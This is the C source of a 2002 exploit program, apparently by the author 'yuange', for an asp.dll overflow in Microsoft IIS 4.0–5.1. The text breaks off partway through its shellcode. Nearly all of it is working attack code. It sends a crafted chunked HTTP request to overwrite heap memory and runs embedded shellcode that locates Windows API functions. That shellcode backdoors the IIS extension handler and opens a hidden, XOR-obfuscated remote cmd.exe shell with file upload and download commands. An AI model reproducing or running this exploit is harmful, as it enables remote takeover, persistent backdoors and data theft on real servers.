/*
        aspcode.c  ver1.0
        iis4.0、iis5.0、iis5.1     asp.dll  overflow program
        copy by yuange <yuange@nsfocus.com>  2002.4.24
   */
   #include <windows.h>
   #include <winsock.h>
   #include <stdio.h>
   #include <httpext.h>
   #pragma  comment(lib,"ws2_32")
   //#define  RETEIPADDR  eipwin2000
   #define  FNENDLONG   0x08
   #define  NOPCODE     0x90
   #define  NOPLONG     0x50
   #define  BUFFSIZE    0x20000
   #define  PATHLONG    0x12
   #define  RETEIPADDRESS 0x468
   #define  SHELLBUFFSIZE 0x800
   #define  SHELLFNNUMS   14
   #define  DATABASE      0x61
   #define  DATAXORCODE   0x55
   #define  LOCKBIGNUM    19999999
   #define  LOCKBIGNUM2   13579139
   #define  MCBSIZE       0x8
   #define  MEMSIZE       0xb200
   #define  SHELLPORT   0x1f90   //0x1f90=8080
   #define  WEBPORT     80
   void     shellcodefnlock();
   void     shellcodefnlock2();
   void     shellcodefn(char *ecb);
   void     shellcodefn2(char *ecb);
   void     cleanchkesp(char *fnadd,char *shellbuff,char *chkespadd ,int
   len);
   void     iisput(int fd,char *str);
   void     iisget(int fd,char *str);
   void     iiscmd(int fd,char *str);
   void     iisreset();
   void     iisdie();
   void     iishelp();
   int newrecv(int fd,char *buff,int size,int flag);
   int newsend(int fd,char *buff,int size,int flag);
     int xordatabegin;
     int  lockintvar1,lockintvar2;
     char lockcharvar;
   int main(int argc, char **argv)
   {
     char *server;
     char *str="LoadLibraryA""\x0""CreatePipe""\x0"
          "CreateProcessA""\x0""CloseHandle""\x0"
          "PeekNamedPipe""\x0"
          "ReadFile""\x0""WriteFile""\x0"
          "CreateFileA""\x0"
          "GetFileSize""\x0"
          "GetLastError""\x0"
          "Sleep""\x0"
          "\x09""ntdll.dll""\x0""RtlEnterCriticalSection""\x0"
          "\x09""asp.dll""\x0""HttpExtensionProc""\x0"
          "\x09""msvcrt.dll""\x0""memcpy""\x0""\x0"
          "cmd.exe""\x0""\x0d\x0a""exit""\x0d\x0a""\x0"
          "XORDATA""\x0""xordatareset""\x0"
          "strend";
   //  char buff0[]="TRACK / HTTP/1.1\nHOST:";
     char buff1[]="GET /";
     char buff2[]="default.asp";
     char *buff2add;
     char buff3[]="?!!ko ";
     char buff4[]=" HTTP/1.1 \nHOST:";
     char buff5[]="\nContent-Type: application/x-www-form-urlencoded";
     char buff51[]="\nTransfer-Encoding:chunked";
     char buff6[]="\nContent-length: 2147506431\r\n\r\n";  //
   0x80000000+MEMSIZE-1
     char buff61[]="\nContent-length: 4294967295\r\n\r\n";  // 0xffffffff
     char buff7[]=
   "\x10\x00\x01\x02\x03\x04\x05\x06\x1c\xf0\xfd\x7f\x20\x21\x00\x01";
     char buff11[]=
   "\x02\x00\x01\x02\x03\x04\x05\x06\x22\x22\x00\x01\x22\x22\x00\x01";
     char buff10[]="\x20\x21\x00\x01\x20\x21\x00\x01";
     char buff9[]= "\x20\x21\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30";
     char buff8[]= "\x81\xec\xff\xe4\x90\x90\x90\x90\x90\x90\x90\x90\x90";
     /*
     char
   buff10[]="\x10\x00\x01\x02\x03\x04\x05\x06\x1d\x21\x00\x01\xec\x21\x00\x01";
     char
   buff11[]="\x10\x00\x01\x02\x03\x04\x05\x06\x20\x21\x00\x01\x01\x21\x00\x01";
     char
   buff12[]="\x10\x00\x01\x02\x03\x04\x05\x06\x21\x21\x00\x01\x00\x21\x00\x01";
     char
   buff13[]="\x10\x00\x01\x02\x03\x04\x05\x06\x22\x21\x00\x01\xff\x21\x00\x01";
     char
   buff14[]="\x10\x00\x01\x02\x03\x04\x05\x06\x23\x21\x00\x01\xe4\x21\x00\x01";
     char
   buff15[]="\x10\x00\x01\x02\x03\x04\x05\x06\x24\x21\x00\x01\x90\x21\x00\x01";
   */
     char *fnendstr="\x90\x90\x90\x90\x90\x90\x90\x90\x90";
     char SRLF[]="\x0d\x0a\x00\x00";
   
     char  *eipexceptwin2000add;
           char  eipexceptwin20002[]="\x80\x70\x9f\x74";   //  push ebx ;
   ret  address
           char  eipexceptwin2000cn[]="\x73\x67\xfa\x7F";   //  push ebx ;
   ret  address
           char  eipexceptwin2000[]="\x80\x70\x97\x74";
   //     char  eipexceptwin2000[]="\xb3\x9d\xfa\x77";  // \x01\x78";
   //  call ebx  address
           char  eipexceptwin2000msvcrt[]="\xD3\xCB\x01\x78";
           char  eipexceptwin2000sp2[]="\x02\xbc\x01\x78";
   //     char  eipexceptwin2000[]="\x0B\x08\x5A\x68";
   //  char  eipexceptwin2000[]="\x32\x8d\x9f\x74";
       char  eipexceptwinnt[]  ="\x82\x01\xfc\x7F";     //  push esi ;
   ret  address
   //     char  eipexceptwinnt[]  ="\x2e\x01\x01\x78";
   //  call  esi  address
   //  char  eipexcept2[]="\xd0\xae\xdc\x77";  //
     char    buff[BUFFSIZE];
     char    recvbuff[BUFFSIZE];
     char    shellcodebuff[BUFFSIZE];
     char    shellcodebuff2[BUFFSIZE];
     struct  sockaddr_in s_in2,s_in3;
     struct  hostent *he;
     char    *shellcodefnadd,*chkespadd;
     unsigned  int sendpacketlong,buff2long,shelladd,packlong;
     int i,j,k,l,strheadlong;
     unsigned  char temp;
     int     fd;
     u_short port,port1,shellcodeport;
     SOCKET  d_ip;
     WSADATA wsaData;
     int offset=0;
     int OVERADD=RETEIPADDRESS;
     int result;
     fprintf(stderr,"\n IIS ASP.DLL OVERFLOW PROGRAM 2.0 .");
     fprintf(stderr,"\n copy by yuange 2002.4.24.");
     fprintf(stderr,"\n welcome to my homepage http://yuange.yeah.net .");
     fprintf(stderr,"\n welcome to http://www.nsfocus.com .");
     fprintf(stderr,"\n usage: %s <server> [aspfile] [webport] [winxp] \n",
   argv[0]);
     buff2add=buff2;
     if(argc <2){
         fprintf(stderr,"\n please enter the web server:");
         gets(recvbuff);
         for(i=0;i<strlen(recvbuff);++i){
            if(recvbuff[i]!=' ') break;
         }
         server=recvbuff;
         if(i<strlen(recvbuff)) server+=i;
         fprintf(stderr,"\n please enter the .asp filename:");
         gets(shellcodebuff);
         for(i=0;i<strlen(shellcodebuff);++i){
             if(shellcodebuff[i]!=' ') break;
         }
         buff2add=shellcodebuff+i;
         printf("\n .asp file name:%s\n",buff2add);
     }
     eipexceptwin2000add=eipexceptwin2000;
   // printf("\n argc%d argv%s",argc,argv[5]);
     if(argc>5){
         if(strcmp(argv[5],"cn")==0) {
             eipexceptwin2000add=eipexceptwin2000cn;
             printf("\n For the cn system.\n");
         }
         if(strcmp(argv[5],"sp0")==0) {
             eipexceptwin2000add=eipexceptwin20002;
             printf("\n For the sp0 system.\n");
         }
         if(strcmp(argv[5],"msvcrt")==0) {
             eipexceptwin2000add=eipexceptwin2000msvcrt;
             printf("\n Use msvcrt.dll JMP to shell.\n");
         }
         if(strcmp(argv[5],"sp2")==0) {
             eipexceptwin2000add=eipexceptwin2000sp2;
             printf("\n Use sp2 msvcrt.dll JMP to shell.\n");
         }
     }
     result= WSAStartup(MAKEWORD(1, 1), &wsaData);
     if (result != 0) {
           fprintf(stderr, "Your computer was not connected "
               "to the Internet at the time that "
               "this program was launched, or you "
               "do not have a 32-bit "
               "connection to the Internet.");
           exit(1);
       }
   /*
     if(argc>4){
       offset=atoi(argv[4]);
     }
   //  OVERADD+=offset;
   //  packlong=0x10000-offset+0x8;
     if(offset<-0x20||offset>0x20){
        fprintf(stderr,"\n offset error !offset  -32 --- +32 .");
        gets(buff);
        exit(1);
     }
   */
     if(argc <2){
     //     WSACleanup( );
   //       exit(1);
     }
     else  server = argv[1];
     for(i=0;i<strlen(server);++i){
        if(server[i]!=' ')
        break;
     }
     if(i<strlen(server)) server+=i;
     for(i=0;i+3<strlen(server);++i){
   
         if(server[i]==':'){
             if(server[i+1]=='\\'||server[i+1]=='/'){
                 if(server[i+2]=='\\'||server[i+2]=='/'){
                     server+=i;
                     server+=3;
                     break;
                 }
             }
         }
     }
     for(i=1;i<=strlen(server);++i){
         if(server[i-1]=='\\'||server[i-1]=='/') server[i-1]=0;
     }
     d_ip = inet_addr(server);
     if(d_ip==-1){
        he = gethostbyname(server);
        if(!he)
        {
          WSACleanup( );
          printf("\n Can't get the ip of %s !\n",server);
          gets(buff);
          exit(1);
        }
        else    memcpy(&d_ip, he->h_addr, 4);
     }
   
     if(argc>3) port=atoi(argv[3]);
     else   port=WEBPORT;
     if(port==0) port=WEBPORT;
     fd = socket(AF_INET, SOCK_STREAM,0);
     i=8000;
     setsockopt(fd,SOL_SOCKET,SO_RCVTIMEO,(const char *) &i,sizeof(i));
   
     s_in3.sin_family = AF_INET;
     s_in3.sin_port = htons(port);
     s_in3.sin_addr.s_addr = d_ip;
     printf("\n nuke ip: %s port
   %d",inet_ntoa(s_in3.sin_addr),htons(s_in3.sin_port));
   
   if(connect(fd, (struct sockaddr *)&s_in3, sizeof(struct
   sockaddr_in))!=0)
   {
        closesocket(fd);
        WSACleanup( );
        fprintf(stderr,"\n  connect err.");
        gets(buff);
        exit(1);
   }
   
     _asm{
            mov ESI,ESP
            cmp ESI,ESP
     }
     _chkesp();
     chkespadd=_chkesp;
     temp=*chkespadd;
     if(temp==0xe9) {
            ++chkespadd;
            i=*(int*)chkespadd;
            chkespadd+=i;
            chkespadd+=4;
     }
     /*
     shellcodefnadd=shellcodefnlock;
     temp=*shellcodefnadd;
     if(temp==0xe9) {
            ++shellcodefnadd;
            k=*(int *)shellcodefnadd;
            shellcodefnadd+=k;
            shellcodefnadd+=4;
     }
     for(k=0;k<=0x500;++k){
            if(memcmp(shellcodefnadd+k,fnendstr,FNENDLONG)==0) break;
     }
   */
     memset(buff,NOPCODE,BUFFSIZE);
     /*
     strcpy(buff,buff0);
     if(argc>6) strcat(buff,argv[6]);
     else  strcat(buff,server);
     strcat(buff,"\r\n\r\n"); //Proxy_Connection: Keep-Alive\r\n");
   
     strcat(buff,buff1);
   */
     strcpy(buff,buff1);
     strheadlong=strlen(buff);
     OVERADD+=strheadlong-1;
   
   if(argc>2) buff2add=argv[2];
   for(;;++buff2add){
        temp=*buff2add;
        if(temp!='\\'&&temp!='/') break;
   }
   // printf("\nfile:%s",buff2add);
   buff2long=strlen(buff2add);
   strcat(buff,buff2add);
   // fprintf(stderr,"\n offset:%d\n",offset);
   // offset+=strheadlong-strlen(buff1);
   
   /*
   for(i=0x404;i<=0x500;i+=8){
      memcpy(buff+offset+i,"\x42\x42\x42\x2d",4);  //  0x2d  sub eax,num32
      memcpy(buff+offset+i+4,eipexceptwin2000add,4);
     }
   if(argc>5){
       if(strcmp(argv[5],"sp2")==0) {
         memcpy(buff+offset+i,"\x58",1);
       }
   }
   for(i=0x220;i<=0x380;i+=8){
      memcpy(buff+offset+i,"\x42\x42\x42\x2d",4);  //  0x2d  sub eax,num32
      memcpy(buff+offset+i+4,eipexceptwinnt,4);
     }
   for(i=0x580;i<=0x728;i+=8){
      memcpy(buff+offset+i,"\x42\x42\x42\x2d",4);  //  0x2d  sub eax,num32
      memcpy(buff+offset+i+4,eipexceptwinnt,4);
     }
   */
   // winnt 0x2cc or 0x71c  win2000 0x130 or 0x468
   //  memcpy(buff+offset+i+8,exceptret,strlen(exceptret));
   shellcodefnadd=shellcodefnlock;
     temp=*shellcodefnadd;
     if(temp==0xe9) {
            ++shellcodefnadd;
            k=*(int *)shellcodefnadd;
            shellcodefnadd+=k;
            shellcodefnadd+=4;
     }
   for(k=0;k<=0x500;++k){
            if(memcmp(shellcodefnadd+k,fnendstr,FNENDLONG)==0) break;
     }
     memset(shellcodebuff2,NOPCODE,BUFFSIZE);
     i=0x1000;
     memcpy(shellcodebuff2+i+4,shellcodefnadd+k+8,0x100);
   
     shellcodefnadd=shellcodefn;
     temp=*shellcodefnadd;
     if(temp==0xe9) {
             ++shellcodefnadd;
            k=*(int *)shellcodefnadd;
            shellcodefnadd+=k;
            shellcodefnadd+=4;
     }
   
     for(k=0;k<=BUFFSIZE;++k){
            if(memcmp(shellcodefnadd+k,fnendstr,FNENDLONG)==0) break;
     }
   //  k+=0x
     memcpy(shellcodebuff,shellcodefnadd,k);   //j);
     cleanchkesp(shellcodefnadd,shellcodebuff,chkespadd,k);
     for(j=0;j<0x400;++j){
         if(memcmp(str+j,"strend",6)==0) break;
     }
     memcpy(shellcodebuff+k,str,j);
     sendpacketlong=k+j;
     for(k=0;k<=0x200;++k){
            if(memcmp(shellcodebuff2+i+4+k,fnendstr,FNENDLONG)==0) break;
     }
   for(j=0;j<sendpacketlong;++j){
            temp=shellcodebuff[j];
   //         temp^=DATAXORCODE;
            shellcodebuff2[i+4+k]=DATABASE+temp/0x10;
            ++k;
            shellcodebuff2[i+4+k]=DATABASE+temp%0x10;
            ++k;
   }
   j=i+k;
   j=j%8+3;
   shellcodebuff2[i+j+k]=0;
   // j=strlen(shellcodebuff2)%8+3;
   for(j=0;j<=0xe000;j+=4){
      strcat(shellcodebuff2,"\x41\x41\x41\x41");  //  0x2d  sub eax,num32
   //   strcat(shellcodebuff2,eipexceptwin2000cn);
     }
   /*
   strcat(shellcodebuff2,"\x90\x90\x90\x90\x90\x90\x90\x90\xeb\x0f\x66\x83\
   x6c\x24\x02\x01\x66\x81\x2c\x24\x01\x01\xff\x24\x24\xe8\xec\xff\xff\xff\
   x90");
   for(j=0;j<=0xb00;j+=4){
      strcat(shellcodebuff2,"\x90\x90\x90\x2d");  //  0x2d  sub eax,num32
   }
   */
   // printf("\nbuff:%s",buff);
   printf("\n shellcode long 0x%x\n",sendpacketlong);
   if(argc>4&&strcmp(argv[4],"apache")==0){
          strcat(buff," ");
   }
   else  strcat(buff,buff3);
   printf("\n packetlong:0x%x\n",sendpacketlong);
   strcat(buff,buff4);
   if(argc>6) strcat(buff,argv[6]);
   else  strcat(buff,server);
   strcat(buff,buff5);
   if(argc>4&&strcmp(argv[4],"apache")==0) strcat(buff," ");
   else  strcat(buff,shellcodebuff2);
   // strcat(buff,buff51);
   if(argc>4&&(strcmp(argv[4],"winxp")==0||strcmp(argv[4],"apache")==0)) {
        printf("\n for %s system\n",argv[4]);
        strcat(buff,buff61);
   }
   else strcat(buff,buff6);
   // printf("\n send buff:\n%s",buff);
   /*
   i=strlen(buff);
   memset(buff+i,'a',0xc000);
   memset(buff+i+0xc000-strlen(buff7),0,1);
   strcat(buff+i+0xc000-0x10-strlen(buff7),buff7);
   */
   // strcpy(buff8,buff7);
   /* temp=buff7[5];
   temp-=offset*0x10;
   buff7[5]=temp;
   i=*(int *)(buff7+4)+2;
   printf("\nSEH=0x%x\n",i);
   */
   /*
   for(i=0;i<8;++i){
     temp=buff7[i];
     printf("%2x",temp);
   }
   */
   /*
   for(i=0;i<0xc000/0x10;++i){
      strcat(buff,buff7);
   }
   */
   // printf("\nbuff=%s\n",buff);
   // strcat(buff,"\r\n");
   // printf("\n send buff:\n%s",buff);
   //  strcpy(buff+OVERADD+NOPLONG,shellcode);
     sendpacketlong=strlen(buff);
   //  printf("buff:\n%s",buff+0x10000);
   /*
   #ifdef DEBUG
     _asm{
         lea esp,buff
           add esp,OVERADD
         ret
     }
   #endif
   */
     lockintvar1=LOCKBIGNUM2%LOCKBIGNUM;
     lockintvar2=lockintvar1;
     xordatabegin=0;
     for(i=0;i<1;++i){
        j=sendpacketlong;
   //     buff[0x2000]=0;
        fprintf(stderr,"\n send  packet %d bytes.",j);
   //     gets(buff);
        send(fd,buff,j,0);
        buff7[0]=MCBSIZE;
   
        j=MEMSIZE+0x10;
        i=0;
        if(argc>4&&strcmp(argv[4],"winxp")==0)
        {
              j=0x18;
            i=8;
        }
        for(k=0;i<0xc000;i+=0x10){
            if(i>=j) {
   
                  k=((i-j)/(MCBSIZE*8));
                  if(k<=6){
                      memcpy(buff7+0x8,buff10,8);
                      buff7[0x8]=buff8[k];
                      buff7[0xc]=buff9[k];
                  }
                  else memcpy(buff7,buff11,0x10);
            }
            memcpy(buff+i,buff7,0x10);
   
        }
        if(argc>4&&strcmp(argv[4],"apache")==0){
            for(k=0xb000;k<=0xc000;k+=2)
            {
                memset(buff+k,0x0d,1);
                memset(buff+k+1,0x0a,1);
            }
            buff[0xc000]=0;
       //     for(k=0;k<0x10;++k)      send(fd,buff,0xc000,0);
       //     printf("\nbuff:%s\n",buff);
        }
        else send(fd,buff,0xc000,0);
   
         k=0;
         ioctlsocket(fd, FIONBIO, &k);
        j=0;
        while(j==0){
            k=newrecv(fd,recvbuff,BUFFSIZE,0);
            if(k>=8&&strstr(recvbuff,"XORDATA")!=0) {
               xordatabegin=1;
               fprintf(stderr,"\n ok!recv %d bytes\n",k);
               recvbuff[k]=0;
   //            printf("\n recv:%s",recvbuff);
   //            for(k-=8,j=0;k>0;k-=4,++j)printf("recvdata:0x%x\n",*(int
   *)(recvbuff+8+4*j));
               k=-1;
               j=1;
            }
            if(k>0){
                recvbuff[k]=0;
               fprintf(stderr,"\n  recv:\n %s",recvbuff);
            }
        }
     }
     k=1;
     ioctlsocket(fd, FIONBIO, &k);
   // fprintf(stderr,"\n now begin: \n");
   /*
     for(i=0;i<strlen(SRLF);++i){
             SRLF[i]^=DATAXORCODE;
     }
     send(fd,SRLF,strlen(SRLF),0);
     send(fd,SRLF,strlen(SRLF),0);
     send(fd,SRLF,strlen(SRLF),0);
   */
     k=1;
     l=0;
     while(k!=0){
         if(k<0){
             l=0;
             i=0;
             while(i==0){
                 gets(buff);
                 if(memcmp(buff,"iish",4)==0){
                          iishelp();
                        i=2;
                 }
                 if(memcmp(buff,"iisput",6)==0){
                          iisput(fd,buff+6);
                        i=2;
                 }
                 if(memcmp(buff,"iisget",6)==0){
                          iisget(fd,buff+6);
                        i=2;
                 }
                 if(memcmp(buff,"iiscmd",6)==0){
                        iiscmd(fd,buff+6);
                        i=2;
                 }
                 if(memcmp(buff,"iisreset",8)==0){
                        iisreset(fd,buff+6);
                        i=2;
                 }
                 if(memcmp(buff,"iisdie",6)==0){
                        iisdie(fd,buff+6);
                        i=2;
                 }
                 if(i==2)i=0;
                 else i=1;
             }
   
             k=strlen(buff);
   
             memcpy(buff+k,SRLF,3);
       //      send(fd,SRLF,strlen(SRLF),0);
       //      fprintf(stderr,"%s",buff);
   /*
             for(i=0;i<k+2;++i){
                   lockintvar2=lockintvar2*0x100;
                   lockintvar2=lockintvar2%LOCKBIGNUM;
                   lockcharvar=lockintvar2%0x100;
                   buff[i]^=lockcharvar;   // DATAXORCODE;
   //              buff[i]^=DATAXORCODE;
             }
                send(fd,buff,k+2,0);
   */
             newsend(fd,buff,k+2,0);
   //          send(fd,SRLF,strlen(SRLF),0);
         }
         k=newrecv(fd,buff,BUFFSIZE,0);
         if(xordatabegin==0&&k>=8&&strstr(buff,"XORDATA")!=0) {
             xordatabegin=1;
             k=-1;
         }
         if(k>0){
   //          fprintf(stderr,"recv %d bytes",k);
   /*
             if(xordatabegin==1){
                 for(i=0;i<k;++i){
                   lockintvar1=lockintvar1*0x100;
                   lockintvar1=lockintvar1%LOCKBIGNUM;
                   lockcharvar=lockintvar1%0x100;
                   buff[i]^=lockcharvar;   // DATAXORCODE;
                 }
             }
   */
             l=0;
             buff[k]=0;
             fprintf(stderr,"%s",buff);
         }
         else{
             Sleep(20);
             if(l<20) k=1;
             ++l;
   
         }
   //      if(k==0) break;
     }
     closesocket(fd);
     WSACleanup( );
     fprintf(stderr,"\n the server close connect.");
     gets(buff);
     return(0);
   }
   void  shellcodefnlock()
   {
          _asm{
                 nop
                 nop
                 nop
                 nop
                 nop
                 nop
                 nop
                 nop
   
                 jmp   next1
   getediadd:      pop   edi
                    mov   esp,edi
                 and   esp,0xfffff0f0
                 jmp   next2
   getshelladd:
                 push  0x01
                 mov   eax,edi
                 inc   eax
                 inc   eax
                 inc   eax
                 inc   eax
                 inc   eax
                 mov   edi,eax
                 mov   esi,edi
       //          sub   sp,8
                 xor   ecx,ecx
   looplock:     lodsb
                 cmp  al,cl
                 jz   shell
                 sub  al,DATABASE
                 mov  ah,al
                 lodsb
                 sub  al,DATABASE
                 shl  ah,4
                 add  al,ah
       //          lea  eax,ptr word [edx*4+al]
                 stosb
                 jmp looplock
   next1:        call  getediadd
   next2:        call  getshelladd
   shell:
                 NOP
                 NOP
                 NOP
                 NOP
                 NOP
                 NOP
                 NOP
                 NOP
   
   
       }
   }
   void shellcodefn(char *ecb)
   {    char        Buff[SHELLBUFFSIZE+2];
       int         *except[3];
       FARPROC     memcpyadd;
       FARPROC     msvcrtdlladd;
       FARPROC     HttpExtensionProcadd;
       FARPROC     Aspdlladd;
   
       FARPROC     RtlEnterCriticalSectionadd;
       FARPROC     Ntdlladd;
       FARPROC     Sleepadd;
       FARPROC     GetLastErroradd;
       FARPROC     GetFileSizeadd;
       FARPROC     CreateFileAadd;
       FARPROC     WriteFileadd;
       FARPROC     ReadFileadd;
       FARPROC     PeekNamedPipeadd;
       FARPROC     CloseHandleadd;
       FARPROC     CreateProcessadd;
       FARPROC     CreatePipeadd;
       FARPROC        procloadlib;
       FARPROC     apifnadd[1];
       FARPROC     procgetadd=0;
       FARPROC     writeclient;
       FARPROC     readclient;
          HCONN       ConnID;
       FARPROC     shellcodefnadd=ecb;
       char        *stradd,*stradd2,*dooradd;
       int         imgbase,fnbase,i,k,l,thedoor;
       HANDLE      libhandle;
       int         fpt;   //libwsock32;
       STARTUPINFO siinfo;
       PROCESS_INFORMATION ProcessInformation;
       HANDLE      hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
       int         lBytesRead;
       int  lockintvar1,lockintvar2;
       char lockcharvar;
       int  shelllocknum;
   //    unsigned char temp;
       SECURITY_ATTRIBUTES sa;
   
       _asm {            jmp    nextcall
            getstradd:   pop    stradd
                         lea    EDI,except
                         mov    eax,dword ptr FS:[0]
                         mov    dword ptr [edi+0x08],eax
                         mov    dword ptr FS:[0],EDI
       }
          except[0]=0xffffffff;
          except[1]=stradd-0x07;
          imgbase=0x77e00000;
          _asm{
             call getexceptretadd
          }
          for(;imgbase<0xbffa0000,procgetadd==0;){
               imgbase+=0x10000;
               if(imgbase==0x78000000) imgbase=0xbff00000;
               if(*( WORD *)imgbase=='ZM'&& *(WORD *)(imgbase+*(int
   *)(imgbase+0x3c))=='EP'){
                      fnbase=*(int *)(imgbase+*(int
   *)(imgbase+0x3c)+0x78)+imgbase;
                      k=*(int *)(fnbase+0xc)+imgbase;
                      if(*(int *)k =='NREK'&&*(int *)(k+4)=='23LE'){
                         libhandle=imgbase;
                         k=imgbase+*(int *)(fnbase+0x20);
                         for(l=0;l<*(int *) (fnbase+0x18);++l,k+=4){
                           if(*(int *)(imgbase+*(int *)k)=='PteG'&&*(int
   *)(4+imgbase+*(int *)k)=='Acor')
                           {
                              k=*(WORD *)(l+l+imgbase+*(int
   *)(fnbase+0x24));
                              k+=*(int *)(fnbase+0x10)-1;
                              k=*(int *)(k+k+k+k+imgbase+*(int
   *)(fnbase+0x1c));
                              procgetadd=k+imgbase;
                              break;
                           }
                         }
                      }
               }
             }
   //搜索KERNEL32。DLL模塊地址和API函數 GetProcAddress地址
   //注意這兒處理了搜索頁面不在情況。
       if(procgetadd==0) goto  die ;
       i=stradd;
              for(k=1;*stradd!=0;++k) {
                   if(*stradd==0x9) libhandle=procloadlib(stradd+1);
                   else     apifnadd[k]=procgetadd(libhandle,stradd);
                   for(;*stradd!=0;++stradd){
                   }
                   ++stradd;
              }
              ++stradd;
              k=0x7ffdf020;
              *(int *)k=RtlEnterCriticalSectionadd;
       k=stradd;
       stradd=i;
       thedoor=0;
       i=0;
       _asm{
                      jmp  getdoorcall
   getdooradd:     pop  dooradd;
                   mov  l,esp
                   call getexceptretadd
       }
       if(i==0){
           ++i;
           if(*(int *)ecb==0x90){
               if(*(int *)(*(int *)(ecb+0x64))=='ok!!') {
                   i=0;
                   thedoor=1;
               }
           }
       }
       if(i!=0){
          *(int *)(dooradd-0x0c)=HttpExtensionProcadd;
          *(int *)(dooradd-0x13)=shellcodefnadd;
         ecb=0;
         _asm{
             call getexceptretadd
         }
         i=ecb;
         i&=0xfffff000;
         ecb=i;
         ecb+=0x1000;
         for(;i<l;++i,++ecb)
         {
               if(*(int *)ecb==0x90){
                   if(*(int *)(ecb+8)==(int *)ecb){
                       if(*(int *)*(int *)(ecb+0x64)=='ok!!')    break;
                   }
               }
         }
         i=0;
         _asm{
             call getexceptretadd
         }
         i&=0xfffff000;
         i+=0x1000;
         for(;i<l;++i){
             if(*(int *)i==HttpExtensionProcadd){
               *(int *)i=dooradd-7;
              //    break;
            }
         }
     //    *(int *)(dooradd-0x0c)=HttpExtensionProcadd;
   
       }
       writeclient= *(int *)(ecb+0x84);
       readclient = *(int *)(ecb+0x88);
       ConnID     = *(int *)(ecb+8) ;
       stradd=k;
          _asm{
              lea edi,except
              mov eax,dword ptr [edi+0x08]
              mov dword ptr fs:[0],eax
          }
          if(thedoor==0){
              _asm{
                   mov eax,0xffffffff
                   mov dword ptr fs:[0],eax
              }
          }
               stradd2=stradd;
               stradd+=8;
               k=0x20;
               writeclient(ConnID,*(int *)(ecb+0x6c),&k,0);
               k=8;
               writeclient(ConnID,stradd+9,&k,0);
   //            Sleepadd(100);
   
               shelllocknum=LOCKBIGNUM2;
               if(*(int *)*(int *)(ecb+0x64)=='ok!!'&&*(int *)(*(int
   *)(ecb+0x64)+4)=='notx') shelllocknum=0;
   
   // iiscmd:
               lockintvar1=shelllocknum%LOCKBIGNUM;
               lockintvar2=lockintvar1;
   iiscmd:
   /*
               lockintvar1=LOCKBIGNUM2%LOCKBIGNUM;
               lockintvar2=lockintvar1;
   */
               sa.nLength=12;
               sa.lpSecurityDescriptor=0;
               sa.bInheritHandle=TRUE;
               CreatePipeadd(&hReadPipe1,&hWritePipe1,&sa,0);
               CreatePipeadd(&hReadPipe2,&hWritePipe2,&sa,0);
   // ZeroMemory(&siinfo,sizeof(siinfo));
               _asm{
                   lea EDI,siinfo
                   xor eax,eax
                   mov ecx,0x11
                   repnz stosd
               }
       siinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
       siinfo.wShowWindow = SW_HIDE;
       siinfo.hStdInput = hReadPipe2;
       siinfo.hStdOutput=hWritePipe1;
       siinfo.hStdError =hWritePipe1;
       k=0;
   //    while(k==0)
   //   {
           k=CreateProcessadd(NULL,stradd2,NULL,NULL,1,0,NULL,NULL,&siinfo,
   &ProcessInformation);
   //        stradd+=8;
   //    }
           Sleepadd(200);
   //        PeekNamedPipeadd(hReadPipe1,Buff,SHELLBUFFSIZE,&lBytesRead,0,0
   );
   
   
       i=0;
       while(1) {
           PeekNamedPipeadd(hReadPipe1,Buff,SHELLBUFFSIZE,&lBytesRead,0,0);
           if(lBytesRead>0) {
              i=0;
              ReadFileadd(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);
              if(lBytesRead>0) {
                  for(k=0;k<lBytesRead;++k){
                   lockintvar2=lockintvar2*0x100;
                   lockintvar2=lockintvar2%LOCKBIGNUM;
                   lockcharvar=lockintvar2%0x100;
                   Buff[k]^=lockcharvar;   // DATAXORCODE;
   //                Buff[k]^=DATAXORCODE;
                  }
                  writeclient(ConnID,Buff,&lBytesRead,0); // HSE_IO_SYNC);
   //               Sleepadd(20);
              }
           }
           else{
   //                 Sleepadd(10);
                l=0;
                if(i<50){
                    l=1;
                    ++i;
                    k=1;
                    lBytesRead=0;
                }
   
   
   
                 while(l==0){
                    i=0;
                    lBytesRead=SHELLBUFFSIZE;
                    k=readclient(ConnID,Buff,&lBytesRead);
                     for(l=0;l<lBytesRead;++l){
                            lockintvar1=lockintvar1*0x100;
                            lockintvar1=lockintvar1%LOCKBIGNUM;
                            lockcharvar=lockintvar1%0x100;
                            Buff[l]^=lockcharvar;   // DATAXORCODE;
                     }
   
                     if(k==1&&lBytesRead>=5&&Buff[0]=='i'&&Buff[1]=='i'&&Bu
   ff[2]=='s'&&Buff[3]=='c'&&Buff[4]==' '){
                         k=8;
                         WriteFileadd(hWritePipe2,stradd,k,&k,0); // exit
   cmd.exe
                         WriteFileadd(hWritePipe2,stradd,k,&k,0); // exit
   cmd.exe
                         stradd2=Buff+5;
                         Buff[lBytesRead]=0;
                         goto iiscmd;
                     }
                     if(k==1&&lBytesRead>=5&&Buff[0]=='r'&&Buff[1]=='e'&&Bu
   ff[2]=='s'&&Buff[3]=='e'&&Buff[4]=='t'){
   
   
                           lBytesRead=0x0c;
                           writeclient(ConnID,stradd+0x11,&lBytesRead,0);
                              lockintvar1=shelllocknum%LOCKBIGNUM;
                           lockintvar2=lockintvar1;
                           lBytesRead=0;
                     }
                     if(k==1&&lBytesRead>=5&&Buff[0]=='i'&&Buff[1]=='i'&&Bu
   ff[2]=='s'&&Buff[3]=='r'&&Buff[4]=='r'){
                         k=8;
                         WriteFileadd(hWritePipe2,stradd,k,&k,0); // exit
   cmd.exe
                         WriteFileadd(hWritePipe2,stradd,k,&k,0); // exit
   cmd.exe
                         *(int *)(dooradd-0x0c)=0;
                         Sleepadd(0x7fffffff);
                         _asm{
                             mov eax,0
                             mov esp,0
                             jmp eax
                         }
                     }
   
   
   if(k==1&&lBytesRead>4&&Buff[0]=='p'&&Buff[1]=='u'&&Buff[2]=='t'&&Buff[3]
   ==' ')
                    {
                       l=*(int *)(Buff+4);
       //
   WriteFileadd(fpt,Buff,lBytesRead,&lBytesRead,NULL);
                       fpt=CreateFileAadd(Buff+0x8,FILE_FLAG_WRITE_THROUGH+
   GENERIC_WRITE,FILE_SHARE_READ,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0
   );
                       k=GetLastErroradd();
                       i=0;
                       while(l>0){
                          lBytesRead=SHELLBUFFSIZE;
                          k=readclient(ConnID,Buff,&lBytesRead);
                          if(k==1){
                              if(lBytesRead>0){
